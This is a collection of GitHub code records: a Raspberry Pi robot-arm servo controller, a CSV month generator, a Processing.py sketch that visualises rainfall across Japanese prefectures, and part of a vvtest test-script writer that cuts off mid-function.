+{"seq_id":"70436521361","text":"import time\nimport math\nimport Adafruit_PCA9685\n\n\nclass RobotArm():\n    def __init__(self):\n        self.pwm = Adafruit_PCA9685.PCA9685()\n        self.pwm.set_pwm_freq(60)\n        self.speed = .0005\n        self.setcheck(False)\n\n    def openClaw(self):\n        print(\"open\")\n        self.pwm.set_pwm(3,0,self.clawMin)\n\n    def closeClaw(self):\n        print(\"close\")\n        self.pwm.set_pwm(3,0,self.clawMax)\n        \n    def baseMover(self, input):\n        if self.check():\n            #Thanks Josh for helping calculate the degrees\n            x = int(2.888888889 * int(input.get()) + 130)\n            y = self.get_basePos()\n            if x < self.get_basePos():\n                for a in range(x, self.get_basePos()):\n                    y -= 1\n                    self.pwm.set_pwm(8,0,(y))\n                    time.sleep(self.speed)\n            else:\n                for a in range(self.get_basePos(), x):\n                    self.pwm.set_pwm(8,0,(a + 1))\n                    time.sleep(self.speed)\n            self.set_basePos(x)\n        else:\n            print(\"You must home the robot first\")\n        \n    #First X arm mover\n    def xarmMover(self, input):\n        if self.check():    \n            xone = self.get_xarmOne()\n            xtwo = self.get_xarmTwo()\n            xangle = self.get_xangle()\n\n            angle = int(input.get())\n            rangle = 180 - angle\n\n            #Thanks Josh for helping calculate the degrees \n            xMove = int(((26/9) * angle + 130))\n            \n            if xangle < angle:\n                for i in range(xone, xMove):\n                    xtwo -= 1\n                    xone += 1\n                    self.pwm.set_pwm(4,0,xone)\n                    self.pwm.set_pwm(9,0,xtwo)\n                    time.sleep(self.speed)\n            else:\n                for i in range( xMove , xone):\n                    xtwo += 1\n                    xone -= 1\n                    self.pwm.set_pwm(4,0,xone)\n                    self.pwm.set_pwm(9,0,xtwo)\n                    time.sleep(self.speed)\n            \n            self.set_xangle(angle)\n            self.set_xarmOne(xone)\n            self.set_xarmTwo(xtwo)\n        else:\n            print(\"You must home the robot first\") \n    def xarmKin(self, input):\n        if self.check():    \n            xone = self.get_xarmOne()\n            xtwo = self.get_xarmTwo()\n            xangle = self.get_xangle()\n\n            angle = input\n            rangle = 180 - angle\n\n            #Thanks Josh for helping calculate the degrees \n            xMove = int(((26/9) * angle + 130))\n            \n            if xangle < angle:\n                for i in range(xone, xMove):\n                    xtwo -= 1\n                    xone += 1\n                    self.pwm.set_pwm(4,0,xone)\n                    self.pwm.set_pwm(9,0,xtwo)\n                    time.sleep(self.speed)\n            else:\n                for i in range( xMove , xone):\n                    xtwo += 1\n                    xone -= 1\n                    self.pwm.set_pwm(4,0,xone)\n                    self.pwm.set_pwm(9,0,xtwo)\n                    time.sleep(self.speed)\n            \n            self.set_xangle(angle)\n            self.set_xarmOne(xone)\n            self.set_xarmTwo(xtwo)\n        else:\n            print(\"You must home the robot first\")\n        \n    #Second X arm mover \n    def sxarmMover(self, input):\n        if self.check():    \n            xone = self.get_sxarmOne()\n            xtwo = self.get_sxarmTwo()\n            xangle = self.get_sxangle()\n\n            angle = int(input.get())\n            rangle = 180 - angle\n\n            #Thanks Josh for helping calculate the degrees \n            xMove = int(((26/9) * angle + 130))\n            #FIX \n            if xangle < angle:\n                for i in range(xone, xMove):\n                    xtwo -= 1\n                    xone += 1\n                    self.pwm.set_pwm(5,0,xone)\n                    self.pwm.set_pwm(10,0,xtwo)\n                    time.sleep(self.speed)\n            else:\n                for i in range( xMove , xone):\n                    xtwo += 1\n                    xone -= 1\n                    self.pwm.set_pwm(5,0,xone)\n                    self.pwm.set_pwm(10,0,xtwo)\n                    time.sleep(self.speed)\n\n            self.set_sxangle(angle)\n            self.set_sxarmOne(xone)\n            self.set_sxarmTwo(xtwo)\n        else:\n            print(\"You must home the robot first\")\n    def sxarmKin(self, input):\n        if self.check():    \n            xone = self.get_sxarmOne()\n            xtwo = self.get_sxarmTwo()\n            xangle = self.get_sxangle()\n\n            angle = input\n            rangle = 180 - angle\n\n            #Thanks Josh for helping calculate the degrees \n            xMove = int(((26/9) * angle + 130))\n            #FIX \n            if xangle < angle:\n                for i in range(xone, xMove):\n                    xtwo -= 1\n                    xone += 1\n                    self.pwm.set_pwm(5,0,xone)\n                    self.pwm.set_pwm(10,0,xtwo)\n                    time.sleep(self.speed)\n            else:\n                for i in range( xMove , xone):\n                    xtwo += 1\n                    xone -= 1\n                    self.pwm.set_pwm(5,0,xone)\n                    self.pwm.set_pwm(10,0,xtwo)\n                    time.sleep(self.speed)\n\n            self.set_sxangle(angle)\n            self.set_sxarmOne(xone)\n            self.set_sxarmTwo(xtwo)\n        else:\n            print(\"You must home the robot first\")\n    #Third X arm mover\n    # FIX\n    def txarmMover(self, input):\n        if self.check():    \n            xone = self.get_txarmOne()\n            xtwo = self.get_txarmTwo()\n            xangle = self.get_txangle()\n\n            angle = int(input.get())\n            rangle = 180 - angle\n\n            #Thanks Josh for helping calculate the degrees \n            xMove = int(((26/9) * angle + 130))\n            \n            if xangle < angle:\n                for i in range(xone, xMove):\n                    xtwo -= 1\n                    xone += 1\n                    self.pwm.set_pwm(6,0,xone)\n                    self.pwm.set_pwm(11,0,xtwo)\n                    time.sleep(self.speed)\n            else:\n                for i in range( xMove , xone):\n                    xtwo += 1\n                    xone -= 1\n                    self.pwm.set_pwm(6,0,xone)\n                    self.pwm.set_pwm(11,0,xtwo)\n                    time.sleep(self.speed)\n\n            self.set_txangle(angle)\n            self.set_txarmOne(xone)\n            self.set_txarmTwo(xtwo)\n        else:\n            print(\"You must home the robot first\")\n    def txarmKin(self, input):\n            if self.check():    \n                xone = self.get_txarmOne()\n                xtwo = self.get_txarmTwo()\n                xangle = self.get_txangle()\n\n                angle = input\n                rangle = 180 - angle\n\n                #Thanks Josh for helping calculate the degrees \n                xMove = int(((26/9) * angle + 130))\n                \n                if xangle < angle:\n                    for i in range(xone, xMove):\n                        xtwo -= 1\n                        xone += 1\n                        self.pwm.set_pwm(6,0,xone)\n                        self.pwm.set_pwm(11,0,xtwo)\n                        time.sleep(self.speed)\n                else:\n                    for i in range( xMove , xone):\n                        xtwo += 1\n                        xone -= 1\n                        self.pwm.set_pwm(6,0,xone)\n                        self.pwm.set_pwm(11,0,xtwo)\n                        time.sleep(self.speed)\n\n                self.set_txangle(angle)\n                self.set_txarmOne(xone)\n                self.set_txarmTwo(xtwo)\n            else:\n                print(\"You must home the robot first\")\n\n    def inverseKiematics(self, x, y, phiangle):\n        #Length of links in cm\n        a1 = 16.4688\n        a2 = 15.7952\n        a3 = 13.3698\n\n        # Desired Position of End effector\n        px = int(x.get())\n        py = int(y.get())\n\n        phi = int(phiangle.get())\n        phi = math.radians(phi)\n\n        # Equations for Inverse kinematics\n        wx = px - a3* math.cos(phi)\n        wy = py - a3* math.sin(phi)\n\n        delta = wx**2 + wy**2\n        c2 = (delta -a1**2 -a2**2)/(2*a1*a2)\n        s2 = math.sqrt(1-c2**2)  # elbow down\n        theta_2 = math.atan2(s2, c2)\n\n        s1 = ((a1+a2*c2)*wy - a2*s2*wx)/delta\n        c1 = ((a1+a2*c2)*wx + a2*s2*wy)/delta\n        theta_1 = math.atan2(s1,c1)\n        theta_3 = phi-theta_1-theta_2\n        if(theta_1 < 0 ):\n            theta_1 = theta_1* -1\n\n        self.xarmKin(round(math.degrees(theta_1)))\n        self.sxarmKin(round(math.degrees(theta_2)))\n        self.txarmKin(round(math.degrees(theta_3)))\n        \n\n    #homeing method\n    def home(self):\n        #base\n        self.pwm.set_pwm(8,0,130)\n        #first arm\n        self.pwm.set_pwm(4,0,390)\n        self.pwm.set_pwm(9,0,390)\n        #second arm\n        self.pwm.set_pwm(5,0,390)\n        self.pwm.set_pwm(10,0,390)\n        #third arm\n        self.pwm.set_pwm(6,0,390)\n        self.pwm.set_pwm(11,0,390)\n        #wrist join\n        #self.pwm.set_pwm(0,0,130)\n        #claw open/close        \n        #self.pwm.set_pwm(1,0,130)\n        #set all \n        self.set_basePos(0)\n\n        self.set_xangle(90)\n        self.set_xarmOne(390)\n        self.set_xarmTwo(390)\n\n        self.set_sxangle(90)\n        self.set_sxarmOne(390)\n        self.set_sxarmTwo(390)\n\n        self.set_txangle(90)\n        self.set_txarmOne(390)\n        self.set_txarmTwo(390)\n\n        print(\"Homed\")\n        self.setcheck(True)\n    \n\n    #change the home state \n    def setcheck(self, bool):\n        self.state = bool\n    \n    #Check if the Robot has been homed\n    def check(self):\n        return self.state\n\n    #Set methods\n    def set_basePos(self, basePos):\n        self.basePos = basePos \n    \n    def set_xangle(self, xangle):\n        self.xangle = xangle\n    def set_xarmOne(self, xarmOne):\n        self.xarmOne = xarmOne\n    def set_xarmTwo(self, xarmTwo):\n        self.xarmTwo = xarmTwo\n    \n    def set_sxangle(self, sxangle):\n        self.sxangle = sxangle\n    def set_sxarmOne(self, sxarmOne):\n        self.sxarmOne = sxarmOne\n    def set_sxarmTwo(self, sxarmTwo):\n        self.sxarmTwo = sxarmTwo\n\n    def set_txangle(self, txangle):\n        self.txangle = txangle\n    def set_txarmOne(self, txarmOne):\n        self.txarmOne = txarmOne\n    def set_txarmTwo(self, txarmTwo):\n        self.txarmTwo = txarmTwo\n\n    #Get methods\n    def get_basePos(self):\n        return self.basePos\n    \n    def get_xangle(self):\n        return self.xangle\n    def get_xarmOne(self):\n        return self.xarmOne\n    def get_xarmTwo(self):\n        return self.xarmTwo\n    \n    def get_sxangle(self):\n        return self.sxangle\n    def get_sxarmOne(self):\n        return self.sxarmOne\n    def get_sxarmTwo(self):\n        return self.sxarmTwo\n\n    def get_txangle(self):\n        return self.txangle\n    def get_txarmOne(self):\n        return self.txarmOne\n    def get_txarmTwo(self):\n        return self.txarmTwo\n\n","repo_name":"jello261/Robot-Arm","sub_path":"robotArm.py","file_name":"robotArm.py","file_ext":"py","file_size_in_byte":11093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24906664839","text":"import csv\n\nwith open('time.csv','w',newline='')as f:\n    writer=csv.writer(f)\n    header=['month']\n    writer.writerow(header)\n    for i in range(1,9):\n        for j in range(1,13):\n            if i==8 and j>9:\n                break\n            else:\n                month_1='201{0}/{1:02d}'.format(i,j)\n                writer.writerow([month_1])\n                ","repo_name":"zhangjingwei0512/chapter5","sub_path":"time.py","file_name":"time.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"362986552","text":"#ライブラリの追加\nadd_library('Minim')\n\n#変数とリストの作成\ndate = []\nKanagawa = []\nAomori = []\nAkita = []\nIwate = []\nYamagata = []\nMiyagi = []\nFukushima = []\nIbaraki = []\nTochigi = []\nGunma = []\nSaitama = []\nTokyo = []\nChiba = []\nYamanashi = []\nNiigata = []\nNagano = []\nToyama = []\nIshikawa = []\nFukui = []\nGifu = []\nShizuoka = []\nAichi = []\nMie = []\nShiga = []\nNara = []\nWakayama = []\nKyoto = []\nOsaka = []\nHyogo = []\nHokkaido = []\nTottori = []\nShimane = []\nHiroshima = []\nYamaguchi = []\nKagawa = []\nTokushima = []\nEhime = []\nKochi = []\nFukuoka = []\nOita = []\nSaga = []\nKumamoto = []\nNagasaki = []\nMiyazaki = []\nKagoshima = []\nOkinawa = []\nOkayama = []\ni = 0\nsound = 0\ntime_change = 0\nj = []\nloc_mouse = []\nloc_x = [510,540,510,500,535,520,525,505,495,480,500,520,500,480,450,460,430,425,430,420,400,415,395,380,385,370,380,355,505,330,330,270,290,255,330,287,345,315,225,248,208,240,220,220,200,75,550]\nloc_y = [150,180,170,205,205,240,265,260,265,280,275,290,280,230,270,300,250,275,300,235,270,310,290,290,320,315,330,290,290,285,305,305,310,310,320,341,330,342,333,340,345,390,380,400,370,615,100]\nprefecture_name=[\"Aomori\",\"Iwate\",\"Akita\",\"Yamagata\",\"Miyagi\",\"Fukushima\",\"Ibaraki\",\"Tochigi\",\"Gunma\",\"Yamanashi\",\"Saitama\",\"Chiba\",\"Tokyo\",\"Niigata\",\"Nagano\",\"Shizuoka\",\"Toyama\",\"Gifu\",\"Aichi\",\"Ishikawa\",\"Fukui\",\"Mie\",\"Shiga\",\"Kyoto\",\"Nara\",\"Osaka\",\"Wakayama\",\"Hyogo\",\"Kanagawa\",\"Tottori\",\"Okayama\",\"Shimane\",\"Hiroshima\",\"Yamaguchi\",\"Kagawa\",\"Ehime\",\"Tokushima\",\"Kochi\",\"Fukuoka\",\"Oita\",\"Saga\",\"Miyazaki\",\"Kumamoto\",\"Kagoshima\",\"Nagasaki\",\"Okinawa\",\"Hokkaido\"]\nprefecture=[Aomori,Iwate,Akita,Yamagata,Miyagi,Fukushima,Ibaraki,Tochigi,Gunma,Yamanashi,Saitama,Chiba,Tokyo,Niigata,Nagano,Shizuoka,Toyama,Gifu,Aichi,Ishikawa,Fukui,Mie,Shiga,Kyoto,Nara,Osaka,Wakayama,Hyogo,Kanagawa,Tottori,Okayama,Shimane,Hiroshima,Yamaguchi,Kagawa,Ehime,Tokushima,Kochi,Fukuoka,Oita,Saga,Miyazaki,Kumamoto,Kagoshima,Nagasaki,Okinawa,Hokkaido]\nmusic_change = 0\nseason_img = []\ntime_change = 0\nscreen = 0\ndata_prefecture=[[],[],[],[],[],[],[],[]]\ndata_point=[[],[],[],[],[],[],[],[]]\ndata_precipitation=[[],[],[],[],[],[],[],[]]\nLoc_change=0\nLoc_play=0\ntime = 0\n\n#setup関数\ndef setup():\n    #execfile('download_csv.py')\n    size(700, 700)\n    frameRate(10)\n    \n    #csvデータの読み込み\n    todouhuken_csv()\n    precipitation_csv()\n\n    #画像の設定\n\n    global img_j\n    img_j=loadImage('img/japan.jpg')\n    img_j.resize(width, height)\n    season_img.append(loadImage('img/spring.png'))\n    season_img.append(loadImage('img/summer.png'))\n    season_img.append(loadImage('img/fall.png'))\n    season_img.append(loadImage('img/winter.png'))\n    for i in range(4):\n        season_img[i].resize(100,100)\n\n    #音楽の再生\n    \n    global minim, player\n    minim = Minim(this)\n    player = minim.loadFile('sound/muon.mp3')\n    player.play()\n\n#draw関数の作成\ndef draw():\n    global screen,Loc_change,Loc_play,time\n    #タイトル画面\n    if screen == 0:\n        background(195)\n        fill(0)\n        textAlign(CENTER, CENTER)\n        textSize(50)\n        text(\"Precipitation visualization\", 350,180)\n        fill(255)\n        rect(150,300,400,60)\n        rect(150,400,400,60)\n        fill(0)\n        textSize(20)\n        text(\"2019 Precipitation Transition\",width/2,328)\n        text(\"This Week's Precipitation Transition\",width/2,428)\n    elif screen == 1:\n        #画像\n        image(img_j, 0, 0)\n        for i in range (4):\n            image(season_img[i],300+100*i,570)\n    \n        #時系列ストップ\n        if time_change == 0:\n            j.append(map(mouseX, 0, width, 0, 365))\n            if len(j) >= 3:\n                del(j[0])\n            loc_mouse.append(mouseX)\n            if len(loc_mouse) >= 3:\n                del(loc_mouse[0])\n        #合計の降水量\n        rainfall = 0\n        for i in range(47):\n            rainfall += int(prefecture[i][int(j[-1])])\n    \n        #音楽\n        global sound, minim, player\n        if time_change == 0:\n            if music_change == 0:\n                if pmouseX != mouseX:\n                    if rainfall <= 30:\n                        player.pause()\n                        player = minim.loadFile('sound/morning.mp3')\n                        value = 5\n                        player.setGain(value)\n                        player.play()\n                    elif rainfall <= 100:\n                        player.pause()\n                        player = minim.loadFile('sound/rain_1.mp3')\n                        player.play()\n                    elif rainfall <= 500:\n                        player.pause()\n                        player = minim.loadFile('sound/rain_2.mp3')\n                        player.play()\n                    elif rainfall <= 1000:\n                        player.pause()\n                        player = minim.loadFile('sound/rain_3.mp3')\n                        player.play()\n                    elif rainfall <= 2000:\n                        player.pause()\n                        player = minim.loadFile('sound/rain_4.mp3')\n                        player.play()\n                    else:\n                        player.pause()\n                        player = minim.loadFile('sound/rain_5.mp3')\n                        player.play()\n            else:\n                if player.isPlaying() == True:\n                    player.pause()\n    \n        #円の表示\n        fill(0, 0, 255, 80)\n        for i in range(47):\n            ellipse(loc_x[i],loc_y[i],int(prefecture[i][int(j[-1])]),int(prefecture[i][int(j[-1])]))\n    \n        #下の表示\n        fill(0)\n        textAlign(CENTER, CENTER)\n        textSize(15)\n        text(date[int(j[-1])], loc_mouse[-1], height - 10)\n        text(rainfall, loc_mouse[-1], height - 25)\n        \n        #音楽のミュートボタン\n        if music_change == 0:\n            pushMatrix()\n            translate(630,10)\n            fill(255)\n            rect(0,0,60,60)\n            fill(0)\n            rect(5,20,10,20)\n            beginShape()\n            vertex(15,20)\n            vertex(30,5)\n            vertex(30,55)\n            vertex(15,40)\n            endShape()\n            strokeWeight(5)\n            line(35,30,50,30)\n            line(35,20,50,4)\n            line(35,40,50,56)\n            strokeWeight(1)\n            popMatrix()\n        else:\n            pushMatrix()\n            translate(630,10)\n            fill(255)\n            rect(0,0,60,60)\n            fill(0)\n            rect(5,20,10,20)\n            beginShape()\n            vertex(15,20)\n            vertex(30,5)\n            vertex(30,55)\n            vertex(15,40)\n            endShape()\n            popMatrix()\n        pushMatrix()\n        translate(width-70,80)\n        noFill()\n        rect(0,0,60,60)\n        fill(0)\n        rect(15,5,30,50)\n        fill(255)\n        stroke(0)\n        beginShape()\n        vertex(16,5)\n        vertex(41,10)\n        vertex(41,60)\n        vertex(16,55)\n        endShape()\n        fill(0)\n        ellipse(37,35,3,3)\n        popMatrix()\n        \n        prefecture_name_display()\n        season_display()\n    elif screen == 2:\n        time += 1\n        background(195)\n        for i in range(8):\n            fill(0,0,255,190)\n            try:\n                rect(40+i*80,600,60,-int(data_precipitation[i][Loc_change])*10)\n            except:\n                textSize(60)\n                text(\"No Data\",width/2,height/2)\n            fill(0)\n            textSize(15)\n            try:\n                text(str(int(data_precipitation[i][Loc_change]))+\"mm\",70+i*80,590)\n                text(str(month())+\"/\"+str(day()-(7-i)),70+i*80,610)\n                for i in range(7):\n                    line(70+i*80,600-int(data_precipitation[i][Loc_change])*10,70+(i+1)*80,600-int(data_precipitation[i+1][Loc_change])*10)\n            except:\n                pass\n            \n        textSize(30)\n        text(data_prefecture[0][Loc_change],width/2,640)\n        text(data_point[0][Loc_change],width/2,670)\n        \n        line(10,600,690,600)\n        pushMatrix()\n        translate(10,height-70)\n        noFill()\n        rect(0,0,60,60)\n        fill(0)\n        beginShape()\n        vertex(5,30)\n        vertex(25,10)\n        vertex(25,50)\n        endShape()\n        rect(25,20,30,20)\n        popMatrix()\n        pushMatrix()\n        translate(width-70,height-70)\n        noFill()\n        rect(0,0,60,60)\n        fill(0)\n        beginShape()\n        vertex(55,30)\n        vertex(35,10)\n        vertex(35,50)\n        endShape()\n        rect(5,20,30,20)\n        popMatrix()\n        pushMatrix()\n        translate(width-70,10)\n        noFill()\n        rect(0,0,60,60)\n        fill(0)\n        rect(15,5,30,50)\n        fill(255)\n        beginShape()\n        vertex(16,5)\n        vertex(41,10)\n        vertex(41,60)\n        vertex(16,55)\n        endShape()\n        fill(0)\n        ellipse(37,35,3,3)\n        popMatrix()\n        \n        if Loc_play == 0:\n            pushMatrix()\n            translate(10,10)\n            noFill()\n            rect(0,0,60,60)\n            fill(0)\n            beginShape()\n            vertex(10,5)\n            vertex(50,30)\n            vertex(10,55)\n            endShape()\n            popMatrix()\n            fill(0)\n        else:\n            pushMatrix()\n            translate(10,10)\n            noFill()\n            rect(0,0,60,60)\n            fill(0)\n            rect(12,10,12,40)\n            rect(36,10,12,40)\n            popMatrix()\n            fill(0)\n            if time >= 3:\n                Loc_change += 3\n                time = 0\n                if Loc_change >= 1293:\n                    Loc_change = 0\n                    Loc_play = 0\n        \n    elif screen == 3:\n        background(195)\n        screen = 4\n    elif screen == 4:\n        x = random(0,width)\n        y = random(0,height)\n        fill(255,0,0)\n        textSize(30)\n        text(\"Run \\\"download_csv.py\\\"\",x,y)\n        \n\n\n#マウスクリック\ndef mouseClicked():\n    global screen,music_change,time_change,Loc_change,Loc_play\n    if screen == 0:\n        if mouseX >= 150 and mouseX <= 550 and mouseY >= 300 and mouseY <= 360:\n            screen = 1\n        if mouseX >= 150 and mouseX <= 550 and mouseY >= 400 and mouseY <= 460:\n            screen = 2\n    elif screen == 1:\n        if mouseX >= 630 and mouseX <= 690 and mouseY >= 10 and mouseY <= 70:\n            if music_change == 0:\n                music_change = 1\n            elif music_change == 1:\n                stop()\n                music_change = 0\n        elif mouseX >= 630 and mouseX <= 690 and mouseY >= 80 and mouseY <= 140:\n            stop()\n            screen = 0\n        else:\n            if time_change == 0:\n                time_change = 1\n            elif time_change == 1:\n                time_change = 0\n    elif screen == 2:\n        if mouseX >= 10 and mouseX <= 70 and mouseY >= 630 and mouseY <= 690:\n            if Loc_change == 0:\n                Loc_change = 1292\n            else:\n                Loc_change -= 1\n        if mouseX >= 630 and mouseX <= 690 and mouseY >= 630 and mouseY <= 690:\n            if Loc_change == 1293:\n                Loc_change = 0\n            else:\n                Loc_change += 1\n        if mouseX >= 10 and mouseX <= 70 and mouseY >= 10 and mouseY <= 70:\n            if Loc_play == 0:\n                Loc_play = 1\n            elif Loc_play == 1:\n                Loc_play = 0\n        if mouseX >= 630 and mouseX <= 690 and mouseY >= 10 and mouseY <= 70:\n            screen = 0\n    \n\n#左上の表示\ndef prefecture_name_display():\n    fill(175, 171, 171)\n    rect(30, 30, 400, 150)\n    fill(0)\n    textSize(30)\n    text(\"Move the mouse cursor\",230,80)\n    text(\"to the center of the circle.\",230,120)\n    textSize(50)\n    for i in range(47):\n        if mouseX >= loc_x[i]-10 and mouseX <= loc_x[i]+10 and mouseY >= loc_y[i]-10 and mouseY <= loc_y[i]+10:\n            fill(175, 171, 171)\n            rect(30, 30, 400, 150)\n            fill(0)\n            text(str(prefecture_name[i]),230,50)\n            textSize(30)\n            text(date[int(j[-1])],230,100)\n            textSize(50)\n            text(\"rainfall:\"+str(prefecture[i][int(j[-1])]),230,150)\n            break\n\n#季節の表示\ndef season_display():\n    pushMatrix()\n    translate(300,570)\n    noStroke()\n    fill(255)\n    if date[int(j[-1])][5:6] >= \"3\" and date[int(j[-1])][5:6] <= \"5\":\n        rect(100,0,300,100)\n    elif date[int(j[-1])][5:6] >= \"6\" and date[int(j[-1])][5:6] <= \"8\":\n        rect(0,0,100,100)\n        rect(200,0,200,100)\n    elif date[int(j[-1])][5:6] == \"9\":\n        rect(0,0,200,100)\n        rect(300,0,100,100)\n    elif date[int(j[-1])][5:6] == \"1\" and date[int(j[-1])][6:7] >= \"0\" and date[int(j[-1])][6:7] <= \"1\":\n        rect(0,0,200,100)\n        rect(300,0,100,100)\n    elif date[int(j[-1])][5:6] == \"1\" and date[int(j[-1])][6:7] == \"2\":\n        rect(0,0,300,100)\n    elif date[int(j[-1])][1:3]:\n        rect(0,0,300,100)\n    stroke(1)\n    popMatrix()\n\n#csvデータ        \ndef todouhuken_csv():\n    todouhuken = loadStrings(\"data/todouhuken.csv\")\n    for i in range(5, 370):\n        for y, data in enumerate(todouhuken[i].split(',')):\n            if y == 0:\n                date.append(data)\n            if y == 1:\n                Aomori.append(data)\n            elif y == 2:\n                Iwate.append(data)\n            elif y == 3:\n                Akita.append(data)\n            elif y == 4:\n                Yamagata.append(data)\n            elif y == 5:\n                Miyagi.append(data)\n            elif y == 6:\n                Fukushima.append(data)\n            elif y == 7:\n                Ibaraki.append(data)\n            elif y == 8:\n                Tochigi.append(data)\n            elif y == 9:\n                Gunma.append(data)\n            elif y == 10:\n                Yamanashi.append(data)\n            elif y == 11:\n                Saitama.append(data)\n            elif y == 12:\n                Chiba.append(data)\n            elif y == 13:\n                Tokyo.append(data)\n            elif y == 14:\n                Niigata.append(data)\n            elif y == 15:\n                Nagano.append(data)\n            elif y == 16:\n                Shizuoka.append(data)\n            elif y == 17:\n                Toyama.append(data)\n            elif y == 18:\n                Gifu.append(data)\n            elif y == 19:\n                Aichi.append(data)\n            elif y == 20:\n                Ishikawa.append(data)\n            elif y == 21:\n                Fukui.append(data)\n            elif y == 22:\n                Mie.append(data)\n            elif y == 23:\n                Shiga.append(data)\n            elif y == 24:\n                Kyoto.append(data)\n            elif y == 25:\n                Nara.append(data)\n            elif y == 26:\n                Osaka.append(data)\n            elif y == 27:\n                Wakayama.append(data)\n            elif y == 28:\n                Hyogo.append(data)\n            elif y == 29:\n                Kanagawa.append(data)\n            elif y == 30:\n                Tottori.append(data)\n            elif y == 31:\n                Okayama.append(data)\n            elif y == 32:\n                Shimane.append(data)\n            elif y == 33:\n                Hiroshima.append(data)\n            elif y == 34:\n                Yamaguchi.append(data)\n            elif y == 35:\n                Kagawa.append(data)\n            elif y == 36:\n                Ehime.append(data)\n            elif y == 37:\n                Tokushima.append(data)\n            elif y == 38:\n                Kochi.append(data)\n            elif y == 39:\n                Fukuoka.append(data)\n            elif y == 40:\n                Oita.append(data)\n            elif y == 41:\n                Saga.append(data)\n            elif y == 42:\n                Miyazaki.append(data)\n            elif y == 43:\n                Kumamoto.append(data)\n            elif y == 44:\n                Kagoshima.append(data)\n            elif y == 45:\n                Nagasaki.append(data)\n            elif y == 46:\n                Okinawa.append(data)\n            elif y == 47:\n                Hokkaido.append(data)\n                \ndef precipitation_csv():\n    global screen\n    try:\n        for j in range(8):\n            precipitation = loadStrings(\"data/new_data_after\"+str(j)+\"_\"+str(month())+\"_\"+str(day())+\".csv\")\n            for i in range(1293):\n                for y, data in enumerate(precipitation[i].split(',')):\n                    if y == 0:\n                        data_prefecture[j].append(data)\n                    if y == 1:\n                        data_point[j].append(data)\n                    if y == 2:\n                        data_precipitation[j].append(data)\n    except:\n        screen = 3\n\n#音楽\ndef stop():\n    player.close()\n    minim.stop()\n","repo_name":"yuta08/Precipitation-visualization","sub_path":"Precipitation-visualization.pyde","file_name":"Precipitation-visualization.pyde","file_ext":"pyde","file_size_in_byte":16731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36744650225","text":"import os, sys\nfrom os.path import join as pjoin\nfrom os.path import dirname, normpath\n\ntry:\n    from shlex import quote\nexcept Exception:\n    from pipes import quote\n\nfrom .teststatus import DIFF_EXIT_STATUS, SKIP_EXIT_STATUS\n\n\ndef writeScript( testcase, filename, lang, rtconfig, plat, loc ):\n    \"\"\"\n    Writes a helper script for the test.  The script language is based on\n    the 'lang' argument.\n    \"\"\"\n    tspec = testcase.getSpec()\n    tstat = testcase.getStat()\n    tname = tspec.getName()\n\n    troot = tspec.getRootpath()\n    srcdir = loc.path_to_source( tspec.getFilepath(), tspec.getRootpath() )\n\n    test_dir = loc.getTestingDirectory()\n\n    configdirs = rtconfig.getAttr('configdir')\n\n    tdir = rtconfig.getAttr('vvtestdir')\n    assert tdir\n\n    trigdir = pjoin( tdir, 'trig' )\n\n    projdir = rtconfig.getAttr('exepath')\n    if projdir is None:\n        projdir = ''\n    else:\n        projdir = loc.path_to_file( tspec.getFilepath(), projdir )\n\n    onopts = rtconfig.getAttr('onopts')\n    offopts = rtconfig.getAttr('offopts')\n\n    platname = plat.getName()\n    cplrname = plat.getCompiler() or ''\n\n    timeout = testcase.getStat().getAttr( 'timeout', -1 )\n\n    dep_list = testcase.getDepDirectories()\n\n    w = LineWriter()\n\n    if lang == 'py':\n\n        w.add( 'import os, sys',\n               '',\n               'NAME = '+repr(tname),\n               'TESTID = '+repr( tspec.getTestID().computeMatchString() ),\n               'PLATFORM = '+repr(platname),\n               'COMPILER = '+repr(cplrname),\n               'VVTESTSRC = '+repr(tdir),\n               'TESTROOT = '+repr(test_dir),\n               'PROJECT = '+repr(projdir),\n               'OPTIONS = '+repr( onopts ),\n               'OPTIONS_OFF = '+repr( offopts ),\n               'SRCDIR = '+repr(srcdir),\n               'TIMEOUT = '+repr(timeout),\n               'KEYWORDS = '+repr(tspec.getKeywords(include_implicit=False)) )\n\n        w.add( 'CONFIGDIR = '+repr(configdirs) )\n\n        # order matters; configdir should be the first entry in sys.path\n        w.add( '',\n               'sys.path.insert( 0, '+repr(trigdir)+' )',\n               'sys.path.insert( 0, VVTESTSRC )' )\n        for d in configdirs[::-1]:\n            w.add( 'sys.path.insert( 0, '+repr(d)+' )' )\n\n        w.add( '',\n               'tmpL = '+repr(configdirs),\n               'if \"PATH\" in os.environ:',\n               '    tmpL += os.environ[\"PATH\"].split(\":\")',\n               'os.environ[\"PATH\"] = \":\".join( tmpL )' )\n\n        w.add( '',\n               'diff_exit_status = '+str(DIFF_EXIT_STATUS),\n               'skip_exit_status = '+str(SKIP_EXIT_STATUS),\n               'opt_analyze = \"--execute-analysis-sections\" in sys.argv[1:]' )\n\n        platenv = plat.getEnvironment()\n        w.add( '',\n               '# platform settings',\n               'PLATFORM_VARIABLES = '+repr(platenv),\n               'def apply_platform_variables():',\n               '    \"sets the platform variables in os.environ\"' )\n        for k,v in platenv.items():\n            w.add( '    os.environ[\"'+k+'\"] = '+repr(v) )\n\n        w.add( '', '# parameters defined by the test' )\n        paramD = tspec.getParameters( typed=True )\n        w.add( 'PARAM_DICT = '+repr( paramD ) )\n        for k,v in paramD.items():\n            w.add( k+' = '+repr(v) )\n\n        if tspec.isAnalyze():\n            # the parameter names and values of the children tests\n            w.add( '', '# parameters comprising the children' )\n            psetD = tspec.getParameterSet().getParameters( typed=True )\n            for n,L in psetD.items():\n                if len(n) == 1:\n                    L2 = [ T[0] for T in L ]\n                    w.add( 'PARAM_'+n[0]+' = ' + repr(L2) )\n                else:\n                    n2 = '_'.join( n )\n                    w.add( 'PARAM_'+n2+' = ' + repr(L) )\n\n        L = generate_dependency_list( dep_list, test_dir )\n        w.add( '', 'DEPDIRS = '+repr(L) )\n\n        D = generate_dependency_map( dep_list, test_dir )\n        w.add( '', 'DEPDIRMAP = '+repr(D) )\n\n        w.add( '',\n               'RESOURCE_np = '+repr( len(tstat.getAttr('processor ids')) ),\n               'RESOURCE_IDS_np = '+repr(tstat.getAttr('processor ids')),\n               'RESOURCE_TOTAL_np = '+repr(tstat.getAttr('total processors')) )\n\n        